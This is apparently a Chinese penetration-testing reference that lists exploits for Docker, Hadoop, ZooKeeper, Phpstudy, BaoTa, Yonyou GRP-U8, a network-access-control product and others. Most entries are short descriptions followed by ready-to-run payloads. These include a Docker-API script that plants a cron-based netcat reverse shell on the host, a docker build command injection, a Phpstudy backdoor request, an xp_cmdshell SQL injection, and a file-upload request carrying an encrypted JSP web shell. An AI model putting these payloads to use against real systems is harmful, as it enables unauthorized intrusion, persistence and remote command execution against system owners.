      client = docker.DockerClient(base_url='http://your-ip:2375/')
      data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 反弹地址 反弹端口 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

容器服务缺陷引起

CVE-2019-5736 漏洞逃逸

  • 概述

    Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,runC 是用于创建和运行 Docker 容器的 CLI 工具,runC 18.09.2版本前的 Docker 允许恶意容器覆盖宿主机上的 runC 二进制文件。攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改掉 runc 的二进制文件,从而获取到宿主机的 root 执行权限。

  • 影响版本

    • Docker Version < 18.09.2
    • runC Version <= 1.0-rc6
  • 相关文章

  • 复现实验

  • POC | Payload | exp

CVE-2019-13139 Docker build code execution

  • 概述

    在 18.09.4 之前的 Docker 中,能够提供或操纵 "docker build "命令的构建路径的攻击者将能够获得命令执行。在 "docker build "处理远程 git URL 的方式中存在一个问题,并导致命令注入到底层的 "git clone "命令中,从而导致用户在执行 "docker build "命令的上下文中执行代码。出现这种情况是因为 git ref 可能被误解为标志。

  • 影响版本

    • Docker Version < 18.09.4
  • 相关文章

  • POC | Payload | exp

    docker build "[email protected]/a/b#--upload-pack=echo "hello">flag;#:"
    

CVE-2019-14271 Docker cp


vCenter

CVE-2020-3952


分布式

Hadoop

Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。

文章

未授权访问漏洞

  • 概述

    由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

  • 示例

    http://[ip]:8088/
    http://[ip]:50070
    http://[ip]:50070/dfshealth.jsp
    http://[ip]:50070/logs/
    
  • POC | Payload | exp


Kubernetes

kubernetes,简称 K8s,是 Google 开源的一个容器编排引擎,它支持自动化部署、大规模可伸缩、应用容器化管理。在生产环境中部署一个应用程序时,通常要部署该应用的多个实例以便对应用请求进行负载均衡。

官网 : https://kubernetes.io/

相关工具

  • cdk-team/CDK - 款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

未授权访问漏洞


Spark

Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行.

官网 : https://spark.apache.org/

未授权访问漏洞


ZooKeeper

Apache Zookeeper 是美国阿帕奇(Apache)软件基金会的一个软件项目,它能够为大型分布式计算提供开源的分布式配置服务、同步服务和命名注册等功能。

未授权访问漏洞

  • 概述

    Zookeeper 的默认开放端口是 2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill 命令)。攻击者能够执行所有只允许由管理员运行的命令。

  • 文章

  • 搭建环境

    wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
    tar -xzvf zookeeper-3.4.14.tar.gz
    cd zookeeper-3.4.14/conf
    mv zoo_sample.cfg zoo.cfg
    ../bin/zkServer.sh start
    ../bin/zkCli.sh -server 127.0.0.1:2181  # 连接 server
  • 利用

    echo envi|nc [ip] 2181      # 打印有关服务环境的详细信息
    echo dump |ncat [ip] 2181   # 列出未完成的会话和临时节点
    echo reqs |ncat [ip] 2181   # 列出未完成的请求
    echo ruok |ncat [ip] 2181   # 测试服务器是否运行在非错误状态
    echo stat |ncat [ip] 2181   # 列出关于性能和连接的客户端的统计信息
    
    ./zkCli.sh -server [ip]:port

CVE-2014-0085 ZooKeeper 信息泄露漏洞

  • 简介

    Apache Zookeeper 中存在安全漏洞,该漏洞源于程序记录明文 admin 密码。本地攻击者可通过读取日志利用该漏洞获取敏感信息。

  • 文章


集成

Phpstudy

Phpstudy 后门 RCE

  • POC | Payload | exp
    GET /1.php HTTP/1.1
    Host: example.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.9
    Accept-Encoding:gzip,deflate
    Accept-Charset:这里就是要执行的命令base64加密 c3lzdGVtKCdjYWxjLmV4ZScpOw==
    Cookie: UM_distinctid=16ae380e49f27e-0987ab403bca49-3c604504-1fa400-16ae380e4a011b; CNZZDATA3801251=cnzz_eid%3D1063495559-1558595034-%26ntime%3D1559102092; CNZZDATA1670348=cnzz_eid%3D213162126-1559207282-%26ntime%3D1559207282
    Connection: close
    

PhpStudy nginx 解析漏洞


宝塔

宝塔面板 phpMyadmin 未授权访问

  • POC | Payload | exp
    xxx.xxx.xxx.xxx:888/pma
    

商业软件

用友GRP

用友 GRP-U8 SQL 注入

  • POC | Payload | exp
    • 用友GRP-U8 SQL注入
      POST /Proxy HTTP/1.1
      Accept: Accept: */*
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
      Host: host
      Content-Length: 357
      Connection: Keep-Alive
      Cache-Control: no-cache
      
      cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
      

联软准入系统

联软准入系统任意文件上传

  • POC | Payload | exp
    • 联软准入系统任意文件上传
      POST /uai/download/uploadfileToPath.htm HTTP/1.1
      HOST: xxxxx
      
      -----------------------------570xxxxxxxxx6025274xxxxxxxx1
      Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp"
      Content-Type: image/png
      
      <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
      
      -----------------------------570xxxxxxxxx6025274xxxxxxxx1
      Content-Disposition: form-data; name="uploadpath"
      
      ../webapps/notifymsg/devreport/
      -----------------------------570xxxxxxxxx6025274xxxxxxxx1--
      

SAP

CVE-2020-6207 SAP Solution Manager RCE


组态软件

WebAccess

研华 WebAccess 软件是研华物联网应用平台解决方案的核心,为用户提供一个基于 HTML5 技术用户界面,实现跨平台、跨浏览器的数据访问体验。使用 WebAccess 后,用户可以建立一个信息管理平台,同步提高垂直市场管理发展的效率。

CVE-2017-16720 Advantech WebAccess远程命令执行